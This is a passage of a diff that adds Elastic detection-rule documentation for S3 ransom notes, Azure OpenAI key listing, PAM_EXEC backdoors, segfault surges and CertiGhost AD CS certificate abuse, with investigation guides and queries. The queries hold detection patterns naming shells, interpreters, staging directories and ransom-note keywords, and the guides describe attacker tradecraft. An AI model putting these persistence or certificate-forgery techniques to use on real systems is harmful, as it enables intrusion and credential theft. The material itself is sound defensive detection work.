considerations, recovery). + + +==== Setup + + +AWS S3 data types need to be enabled in the CloudTrail trail configuration to capture PutObject API calls. + +==== Rule query + + +[source, js] +---------------------------------- +file where + data_stream.dataset == "aws.cloudtrail" and + event.provider == "s3.amazonaws.com" and + event.action == "PutObject" and + event.outcome == "success" and + /* Apply regex to match patterns only after the bucket name */ + /* common ransom note file name keywords */ + aws.cloudtrail.resources.arn regex~ "arn:aws:s3:::[^/]+/.*?(how|decrypt|restor|help|instruct|read|get|recov|save|encrypt|delet|info|ransom).*" + and not aws.cloudtrail.resources.arn regex~ ".*(AWSLogs|CloudTrail|access-logs).*" + and not aws.cloudtrail.user_identity.type == "AWSService" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-azure-openai-model-theft.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-azure-openai-model-theft.asciidoc new file mode 100644 index 0000000000..293e3f05ce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-azure-openai-model-theft.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-potential-azure-openai-model-theft]] +=== Potential Azure OpenAI Model Theft + +Monitors for suspicious activities that may indicate theft or unauthorized duplication of machine learning (ML) models, such as unauthorized API calls, atypical access patterns, or large data transfers that are unusual during model interactions. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://genai.owasp.org/llmrisk/llm10-model-theft +* https://atlas.mitre.org/techniques/AML.T0044 + +*Tags*: + +* Domain: LLM +* Data Source: Azure OpenAI +* Data Source: Azure Event Hubs +* Use Case: Model Theft +* Mitre Atlas: T0044 +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: Azure +* Domain: Cloud +* Domain: GenAI +* Service: Azure OpenAI +* Service: Azure Event Hubs + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Azure OpenAI Model Theft* + + +Azure OpenAI models are integral to many applications, providing advanced machine learning capabilities. Adversaries may exploit these models by making unauthorized API calls or transferring large volumes of data, potentially indicating model theft. The detection rule identifies such threats by monitoring audit logs for unusual access patterns or excessive data transfers, flagging activities that deviate from normal usage. + + +*Possible investigation steps* + + +- Review the audit logs for the specific resource group and resource name flagged in the alert to understand the context of the access patterns. +- Analyze the timestamps associated with the suspicious activities to determine if they align with known operational periods or if they occur during unusual times. +- Investigate the source of the API calls by identifying the IP addresses or user accounts involved in the "ListKey" operations to determine if they are authorized or known entities. +- Examine the response length data to assess whether the volume of data transferred is consistent with legitimate use cases or if it suggests potential data exfiltration. +- Cross-reference the flagged activities with other security logs or alerts to identify any correlated suspicious behavior or potential indicators of compromise. + + +*False positive analysis* + + +- High-frequency legitimate API calls from automated scripts or applications may trigger the rule. Users can create exceptions for known scripts by identifying their specific access patterns and excluding them from the rule. +- Large data transfers during scheduled model updates or backups can be mistaken for suspicious activity. Users should whitelist these operations by correlating them with scheduled maintenance windows or known update events. +- Regular access by trusted internal teams for model evaluation or testing might appear as atypical patterns. Users can mitigate this by maintaining a list of authorized personnel and their expected access behaviors, then excluding these from the alert criteria. +- Integration with other Azure services that require frequent access to OpenAI models could generate false positives. Users should document these integrations and adjust the rule to recognize and exclude these legitimate interactions. + + +*Response and remediation* + + +- Immediately isolate the affected Azure resources by restricting network access to prevent further unauthorized API calls or data transfers. +- Revoke and regenerate API keys associated with the compromised Azure OpenAI resources to prevent further unauthorized access. +- Conduct a thorough review of audit logs to identify any additional unauthorized access attempts or data transfers, and document all findings for further analysis. +- Notify the security operations team and relevant stakeholders about the potential model theft incident to ensure coordinated response efforts. +- Implement additional monitoring on the affected resources to detect any further suspicious activities, focusing on access patterns and data transfer volumes. +- Escalate the incident to the organization's incident response team for a comprehensive investigation and to determine if any data exfiltration occurred. +- Review and update access controls and permissions for Azure OpenAI resources to ensure they adhere to the principle of least privilege, reducing the risk of future unauthorized access. + + +==== Setup + + + +*Setup* + + +For more information on +streaming events, see the Azure OpenAI documentation: + +https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure_openai.logs-* +| where + azure.open_ai.operation_name == "ListKey" and + azure.open_ai.category == "Audit" +| keep + @timestamp, + azure.open_ai.operation_name, + azure.open_ai.category, + azure.resource.group, + azure.resource.name, + azure.open_ai.properties.response_length +| stats + Esql.event_count = count(*), + Esql.azure_open_ai_properties_response_length_max = max(azure.open_ai.properties.response_length) + by + azure.resource.group, + azure.resource.name +| where + Esql.event_count >= 100 or + Esql.azure_open_ai_properties_response_length_max >= 1000000 +| sort + Esql.event_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-backdoor-execution-through-pam-exec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-backdoor-execution-through-pam-exec.asciidoc new file mode 100644 index 0000000000..a0d70f9e59 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-backdoor-execution-through-pam-exec.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-potential-backdoor-execution-through-pam-exec]] +=== Potential Backdoor Execution Through PAM_EXEC + +This rule detects SSH session ID change followed by a suspicious SSHD child process, this may indicate the successful execution of a potentially malicious process through the Pluggable Authentication Module (PAM) utility. PAM is a framework used by Linux systems to authenticate users. Adversaries may create malicious PAM modules that grant them persistence onto the target every time a user logs in by executing a backdoor script or command. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/approaching-the-summit-on-persistence +* https://www.group-ib.com/blog/pluggable-authentication-module/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Backdoor Execution Through PAM_EXEC* + + +PAM (Pluggable Authentication Module) is a critical framework in Linux systems for user authentication. Adversaries may exploit PAM by inserting malicious modules that execute backdoor scripts during user logins, ensuring persistent access. The detection rule identifies this threat by monitoring SSH session changes followed by unusual child processes, often indicative of backdoor execution, especially when these processes originate from suspicious directories or use scripting languages. + + +*Possible investigation steps* + + +- Review the process entity ID associated with the alert to identify the specific SSH session and its related activities. +- Examine the parent process details, specifically focusing on the SSH or SSHD process, to determine the source and legitimacy of the login attempt. +- Investigate the child process that was started, paying close attention to its name and executable path, especially if it matches patterns like scripting languages (e.g., perl, python) or suspicious directories (e.g., /tmp, /var/tmp). +- Check the process arguments count and content to understand the command or script being executed, which may provide insights into the potential backdoor's functionality. +- Correlate the event timestamp with user login records and system logs to identify any unusual login patterns or unauthorized access attempts. +- Assess the risk and impact by determining if the process has made any unauthorized changes to the system or if it has established any persistent mechanisms. +- If a backdoor is confirmed, initiate containment measures such as terminating the malicious process, removing the unauthorized PAM module, and conducting a full system audit to prevent further exploitation. + + +*False positive analysis* + + +- Legitimate administrative scripts executed via SSH may trigger the rule if they use scripting languages like Perl, Python, or PHP. To handle this, identify and whitelist known administrative scripts and their execution paths. +- Automated backup or maintenance processes that run from directories like /var/backups or /var/log can be mistaken for malicious activity. Exclude these processes by specifying their exact paths and names in the exception list. +- Development or testing environments where scripts are frequently executed from temporary directories such as /tmp or /dev/shm may cause false positives. Implement exceptions for these environments by defining specific user accounts or process names that are known to be safe. +- Custom monitoring or logging tools that spawn child processes from SSH sessions might be flagged. Review these tools and add them to the exclusion list if they are verified as non-threatening. +- Regular user activities involving the use of scripting languages for legitimate purposes can be misinterpreted. Educate users on best practices and adjust the rule to exclude common benign scripts used in daily operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, especially those originating from unusual directories or using scripting languages. +- Conduct a thorough review of PAM configuration files and modules to identify and remove any unauthorized or malicious entries. +- Reset credentials for all users on the affected system, prioritizing those with elevated privileges, to mitigate potential credential compromise. +- Restore the system from a known good backup if malicious modifications are confirmed, ensuring that the backup is free from tampering. +- Implement enhanced monitoring on the affected system and similar environments to detect any recurrence of the threat, focusing on SSH session changes and unusual child processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "change" and event.action == "session_id_change" and process.name in ("ssh", "sshd")] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name in ("ssh", "sshd") and + process.args_count == 2 and process.args like ( + "sh", "dash", "bash", "zsh", + "perl*", "python*", "php*", "ruby*", "lua*", + + "/bin/sh", "/bin/dash", "/bin/bash", "/bin/zsh", + "/bin/perl*", "/bin/python*", "/bin/php*", "/bin/ruby*", "/bin/lua*", + + "/usr/bin/sh", "/usr/bin/dash", "/usr/bin/bash", "/usr/bin/zsh", + "/usr/bin/perl*", "/usr/bin/python*", "/usr/bin/php*", "/usr/bin/ruby*", "/usr/bin/lua*", + + "/usr/local/bin/sh", "/usr/local/bin/dash", "/usr/local/bin/bash", "/usr/local/bin/zsh", + "/usr/local/bin/perl*", "/usr/local/bin/python*", "/usr/local/bin/php*", "/usr/local/bin/ruby*", "/usr/local/bin/lua*" + ) and ( + process.name like ".*" or + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/boot/*", "/sys/*", "/lost+found/*", "/media/*", "/proc/*", "/bin/*", "/usr/bin/*", + "/sbin/*", "/usr/sbin/*", "/lib/*", "/lib64/*", "/usr/lib/*", "/usr/lib64/*", "/opt/*", "/var/lib/*", "/run/*", "/var/backups/*", + "/var/log/*", "/var/mail/*", "/var/spool/*" + ) + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Pluggable Authentication Modules +** ID: T1556.003 +** Reference URL: https://attack.mitre.org/techniques/T1556/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-buffer-overflow-attack-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-buffer-overflow-attack-detected.asciidoc new file mode 100644 index 0000000000..9142b1df63 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-buffer-overflow-attack-detected.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-potential-buffer-overflow-attack-detected]] +=== Potential Buffer Overflow Attack Detected + +Detects potential buffer overflow attacks by querying the "Segfault Detected" pre-built rule signal index, through a threshold rule, with a minimum number of 100 segfault alerts in a short timespan. A large amount of segfaults in a short time interval could indicate application exploitation attempts. + +*Rule type*: threshold + +*Rule indices*: + +* .alerts-security.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Initial Access +* Use Case: Vulnerability +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Threshold +* Platform: Linux + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Buffer Overflow Attack Detected* + + +Buffer overflow attacks exploit vulnerabilities in software to execute arbitrary code, often leading to privilege escalation. Adversaries may trigger numerous segmentation faults (segfaults) on Linux systems as they attempt to exploit these vulnerabilities. The detection rule identifies potential attacks by monitoring for a surge in segfault alerts, indicating possible exploitation attempts, and correlates them with known threat tactics. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of a surge in segfault alerts, focusing on the host.os.type:linux field to ensure the affected systems are Linux-based. +- Correlate the timestamps of the segfault alerts to identify any patterns or specific timeframes when the surge occurred, which might indicate the start of an exploitation attempt. +- Investigate the affected host(s) by examining system logs and application logs around the time of the segfault alerts to identify any suspicious activities or anomalies. +- Check for any recent changes or updates to the software running on the affected host(s) that might have introduced vulnerabilities. +- Look for any known vulnerabilities or exploits associated with the software or services running on the affected host(s) that could be targeted by a buffer overflow attack. +- Assess the network traffic to and from the affected host(s) during the time of the alerts to identify any unusual or unauthorized connections that could indicate an attack vector. +- Consult threat intelligence sources to determine if there are any ongoing campaigns or known threat actors targeting similar vulnerabilities or systems. + + +*False positive analysis* + + +- High-volume legitimate application crashes can trigger false positives, especially during software testing or development phases. Users should identify and exclude these applications from the rule by creating exceptions for specific processes known to cause frequent segfaults without malicious intent. +- System updates or patches may cause temporary spikes in segfault alerts as applications restart or reconfigure. Users can mitigate this by setting a temporary exception during scheduled maintenance windows. +- Custom scripts or automated tasks that interact with system memory in non-standard ways might generate segfaults. Review these scripts and, if verified as safe, exclude them from the rule to prevent false alerts. +- Certain security tools or monitoring software may intentionally cause segfaults as part of their operation. Identify these tools and add them to the exception list to avoid unnecessary alerts. +- Legacy applications with known stability issues might frequently cause segfaults. Consider updating or replacing these applications, or create exceptions if updates are not feasible. + + +*Response and remediation* + + +- Isolate the affected Linux host immediately to prevent further exploitation and lateral movement within the network. +- Terminate any suspicious processes identified on the affected host that are associated with the segfault alerts to halt potential malicious activity. +- Conduct a thorough analysis of the affected application or service to identify and patch the specific vulnerability being exploited, ensuring all software is updated to the latest secure versions. +- Review and enhance system and application logging to capture detailed information on segfault occurrences and related activities for future analysis and detection. +- Implement additional security controls such as application whitelisting and memory protection mechanisms (e.g., DEP, ASLR) to mitigate the risk of buffer overflow attacks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Document the incident, including all actions taken and findings, to improve future response efforts and update incident response plans accordingly. + +==== Setup + + + +*Setup* + + + +This rule leverages alert data from other prebuilt detection rules to function correctly. + + +*Dependent Elastic Detection Rule Enablement* + +As a higher-order rule (based on other detections), this rule also requires the following prerequisite Elastic detection rule to be installed and enabled: +- Segfault Detected (5c81fc9d-1eae-437f-ba07-268472967013) + + +==== Rule query + + +[source, js] +---------------------------------- +kibana.alert.rule.rule_id:"5c81fc9d-1eae-437f-ba07-268472967013" and host.os.type:linux and event.kind:signal + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-certighost-ad-cs-machine-identity-mismatch-cve-2026-54121.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-certighost-ad-cs-machine-identity-mismatch-cve-2026-54121.asciidoc new file mode 100644 index 0000000000..550ba1f46e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-certighost-ad-cs-machine-identity-mismatch-cve-2026-54121.asciidoc @@ -0,0 +1,224 @@ +[[prebuilt-rule-8-19-34-potential-certighost-ad-cs-machine-identity-mismatch-cve-2026-54121]] +=== Potential CertiGhost AD CS Machine Identity Mismatch (CVE-2026-54121) + +Identifies successful Active Directory Certificate Services (AD CS) certificate issuance events where a machine-account requester differs from the Remote Machine Discovery (RMD) chase target while the event's DNS subject alternative name (SAN) matches that target. This requester-to-target mismatch may indicate CertiGhost (CVE-2026-54121) or similar abuse of AD CS request-context chase processing. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121 +* https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26 +* https://github.com/aniqfakhrul/CVE-2026-54121 + +*Tags*: + +* Domain: Endpoint +* Domain: Identity +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Use Case: Vulnerability +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: ES|QL +* Platform: Windows +* Vuln: CVE-2026-54121 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential CertiGhost AD CS Machine Identity Mismatch (CVE-2026-54121)* + + + +*Possible investigation steps* + + +- Does the matched AD CS issuance record validate the identity mismatch? + - Focus: `event.code`, `winlog.event_data.RequestId`, `winlog.event_data.Requester`, `Esql.san_value`, `Esql.rmd_value` + - Hint: Reopen the Windows Security 4887 record on the same CA host and request ID. Compare the parsed SAN and RMD with the complete `winlog.event_data.Attributes` and dedicated SAN field; additional SAN values or disagreement keep the case unresolved. !{investigate{"description":"Finds the Windows Security 4887 certificate issuance record on the same CA host and request ID.","label":"Matched certificate issuance","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4887","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.RequestId","queryType":"phrase","value":"{{winlog.event_data.RequestId}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Implication: Event 4887 proves successful issuance, and the alert establishes that the requester differs from the RMD target while the parsed SAN matches that target. This is an operational anti-pattern. Close as benign only when CA records and test records identify an authorized CertiGhost or AD CS security test matching the exact CA, request ID, requester, target, template, and time. +- What identity and authentication capability did the issued certificate receive? + - Focus: `Esql.effective_certificate_template`, `winlog.event_data.Subject`, `winlog.event_data.SubjectAlternativeName`, `winlog.event_data.SubjectKeyIdentifier` + - Hint: Retrieve the issued certificate and CA request/template configuration for the same request ID. Inspect the certificate's actual subject, SAN, EKUs or application policies, validity and revocation state, and the template's subject-name settings and enrollment permissions. + - Implication: Event 4887 and the template name alone do not establish the complete certificate contents or authentication capability. A certificate that represents the RMD target and permits authentication increases the likelihood and impact of credential abuse. Missing certificate or template configuration is unresolved, not benign. +- What other issuances by the requester appear on the same CA host? + - Focus: `host.id`, `winlog.event_data.Requester`, `winlog.event_data.RequestId`, `winlog.event_data.Attributes`, `winlog.event_data.SubjectAlternativeName` + - Hint: Recover 4887 events for the same requester on this CA host. !{investigate{"description":"Finds successful certificate issuance events for the same requester on the same CA host.","label":"Same requester issuances","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4887","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.Requester","queryType":"phrase","value":"{{winlog.event_data.Requester}}","valueType":"string"}]],"relativeFrom":"now-7d","relativeTo":"now"}} + - Implication: Repeated successful requests for different SAN/RMD targets expand the potential abuse scope. One isolated request does not reduce the significance of the current mismatch. +- What other CA events reference the same target identity? + - Focus: `Esql.san_value`, `Esql.rmd_value`, `winlog.event_data.Attributes`, `winlog.event_data.SubjectAlternativeName`, `winlog.event_data.Requester` + - Hint: Copy the alert's exact SAN and RMD values into a scoped Timeline or Discover search for raw 4886, 4887, and 4888 records on the same CA host. Use contains or wildcard matching against `winlog.event_data.Attributes` and `winlog.event_data.SubjectAlternativeName`; derived `Esql.*` fields exist only on the alert. + - Implication: Requests for the same target from additional unexpected accounts expand the affected scope. The absence of other matching events does not clear the current issuance. +- Did the CA connect to the CDC value during certificate processing? + - Focus: `host.id`, `Esql.cdc_value`, `destination.ip`, `destination.port`, `process.name` + - Hint: When the CDC value is an IP address, search network events from the CA host around issuance for that `destination.ip`. For a hostname, resolve it from collected DNS or asset evidence before comparing destination IPs. Review LDAP or LDAPS from `certsrv.exe` and SMB from `System` without requiring either process for all callback traffic. + - Implication: CA-host LDAP or SMB traffic to the CDC value supports request-context chase activity, but neither the CDC attribute nor a connection alone proves exploitation. Missing DNS or CA network telemetry is unresolved, not benign. +- Does surrounding activity show requester creation or target-certificate use? + - Focus: `event.code`, `winlog.event_data.Requester`, `Esql.normalized_rmd_target`, `winlog.event_data.TargetUserName`, `winlog.event_data.PreAuthType` + - Hint: After validating the issuance, inspect account-management events where `winlog.event_data.TargetUserName` matches the requester account name without its domain prefix. Inspect successful 4768 events with `winlog.event_data.PreAuthType` equal to `16`. For DNS-shaped RMD values, compare `winlog.event_data.TargetUserName` with the normalized RMD target plus `$`; for IP-shaped values, first resolve the associated computer account from AD, asset, or CA evidence. Treat later authentication as corroboration unless identity and certificate evidence establish the relationship. + - Implication: Requester creation or change followed by target PKINIT strengthens the exploitation hypothesis. Missing account-management or domain-controller authentication telemetry is unresolved, not benign. + +Escalate when the mismatch is not an authorized test, the issued certificate can authenticate as the target, or callback and follow-on evidence corroborate abuse. Close only when CA, certificate, and test records establish the exact authorized scope; preserve and escalate when evidence or visibility is mixed or incomplete. + + +*False positive analysis* + + +The detected requester-to-target relationship is an operational anti-pattern and did not appear in the self-aligned enrollment controls. Authorized CertiGhost or AD CS security testing is the only currently validated benign explanation. Treat other claimed cross-identity enrollment workflows as unresolved until the 4887 source event, CA request record, issued certificate, template configuration, requester, target, CA, and time scope align without contradictions. + +Do not close on recurrence, absence of related alerts, or the requester account name alone. ES|QL fields created by the query cannot be used in rule exceptions. If an exception is required for recurring authorized testing, combine narrowly scoped source fields such as the CA `host.id`, `winlog.event_data.Requester`, and the exact `winlog.event_data.Attributes` pattern. Avoid exceptions based only on a host, requester, or template. + + +*Response and remediation* + + +- Preserve the 4887 source record, CA request and database records, issued certificate and identifiers, template configuration, and relevant authentication and network evidence before disruptive action. +- Identify affected certification authorities and apply the Microsoft security update or mitigation for CVE-2026-54121. Review request history for the requester and target to identify additional certificates requiring action. +- If malicious activity is confirmed, revoke the affected certificate and verify that revocation information is distributed. Disable or remove an attacker-controlled requester account after preserving evidence. Rotate the target machine credentials and invalidate affected authentication material when certificate use or impersonation is established. +- Isolate an endpoint only when host evidence attributes compromise to that system. The requester account may not map to a managed endpoint, and the target identity alone does not prove that the target endpoint was compromised. +- Record confirmed certificate identifiers, affected principals, CA configuration gaps, and telemetry gaps for the responsible response, PKI, identity, and detection owners. + + +==== Setup + + + +*Setup* + + +Audit Certification Services must be enabled on enterprise certification authorities so that successful certificate +issuance generates Security event 4887. + +The Windows Security integration must retain `winlog.event_data.Attributes`, including the requested SAN and chase +attributes. The rule prefers dedicated certificate-template and subject-alternative-name fields when present and uses +`Attributes` as a fallback. Dropped, truncated, or rewritten attributes create a visibility gap and do not indicate +benign activity. + +Setup instructions: https://ela.st/audit-certification-services + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-system.security-* METADATA _id, _index, _version +| WHERE event.code == "4887" AND + winlog.event_data.Requester LIKE "*$" AND + winlog.event_data.Attributes IS NOT NULL + +// Parse Attributes for RMD and CDC, and as a fallback when dedicated template or SAN fields are absent. +// CDC and the effective template are retained for triage purposes +| GROK winlog.event_data.Attributes + """(?im)^[ \t]*CertificateTemplate[ \t]*:[ \t]*(?[^\r\n]+)\r?$""" +| GROK winlog.event_data.Attributes + """(?im)^[ \t]*SAN[ \t]*:[ \t]*dns[ \t]*=[ \t]*(?[^\r\n]+)\r?$""" +| GROK winlog.event_data.SubjectAlternativeName + """(?im)^[ \t]*DNS[ \t]+Name[ \t]*=[ \t]*(?[^\r\n]+)\r?$""" +| GROK winlog.event_data.Attributes + """(?im)^[ \t]*cdc[ \t]*:[ \t]*(?[^\r\n]+)\r?$""" +| GROK winlog.event_data.Attributes + """(?im)^[ \t]*rmd[ \t]*:[ \t]*(?[^\r\n]+)\r?$""" +| EVAL Esql.effective_certificate_template = TRIM(COALESCE( + winlog.event_data.CertificateTemplate, + Esql.attributes_certificate_template + )), + Esql.san_value = TRIM(COALESCE(Esql.event_san_value, Esql.attributes_san_value)), + Esql.cdc_value = TRIM(Esql.cdc_value), + Esql.rmd_value = TRIM(Esql.rmd_value), + Esql.normalized_requester = TO_LOWER( + REPLACE(winlog.event_data.Requester, """^.*\\|\$$""", "") + ), + Esql.normalized_san_value = TO_LOWER( + REPLACE(Esql.san_value, """\.$""", "") + ), + Esql.normalized_rmd_value = TO_LOWER( + REPLACE(Esql.rmd_value, """\.$""", "") + ) +// Preserve IP-shaped values; shorten other SAN and RMD values to the first DNS label for machine-account comparison. +| EVAL Esql.san_is_ip_shaped = + Esql.normalized_san_value RLIKE """[0-9]{1,3}(\.[0-9]{1,3}){3}""" OR Esql.normalized_san_value LIKE "*:*", + Esql.rmd_is_ip_shaped = + Esql.normalized_rmd_value RLIKE """[0-9]{1,3}(\.[0-9]{1,3}){3}""" OR Esql.normalized_rmd_value LIKE "*:*" +| EVAL Esql.normalized_san_target = CASE( + Esql.san_is_ip_shaped, + Esql.normalized_san_value, + REPLACE(Esql.normalized_san_value, """\..*$""", "") + ), + Esql.normalized_rmd_target = CASE( + Esql.rmd_is_ip_shaped, + Esql.normalized_rmd_value, + REPLACE(Esql.normalized_rmd_value, """\..*$""", "") + ) +| WHERE Esql.normalized_requester IS NOT NULL AND + Esql.normalized_san_target IS NOT NULL AND + Esql.normalized_rmd_target IS NOT NULL +| WHERE Esql.normalized_requester != Esql.normalized_rmd_target AND + Esql.normalized_san_target == Esql.normalized_rmd_target +| KEEP @timestamp, _id, _index, _version, event.code, event.action, event.category, event.type, event.outcome, + event.created, event.ingested, data_stream.dataset, data_stream.namespace, host.id, host.name, + winlog.computer_name, winlog.record_id, winlog.event_data.RequestId, winlog.event_data.Requester, + winlog.event_data.CertificateTemplate, winlog.event_data.Subject, winlog.event_data.SubjectAlternativeName, + winlog.event_data.Attributes, winlog.event_data.Disposition, winlog.event_data.SubjectKeyIdentifier, + Esql.effective_certificate_template, Esql.san_value, Esql.cdc_value, Esql.rmd_value, + Esql.normalized_requester, Esql.normalized_san_target, Esql.normalized_rmd_target + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Authentication Certificates +** ID: T1649 +** Reference URL: https://attack.mitre.org/techniques/T1649/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 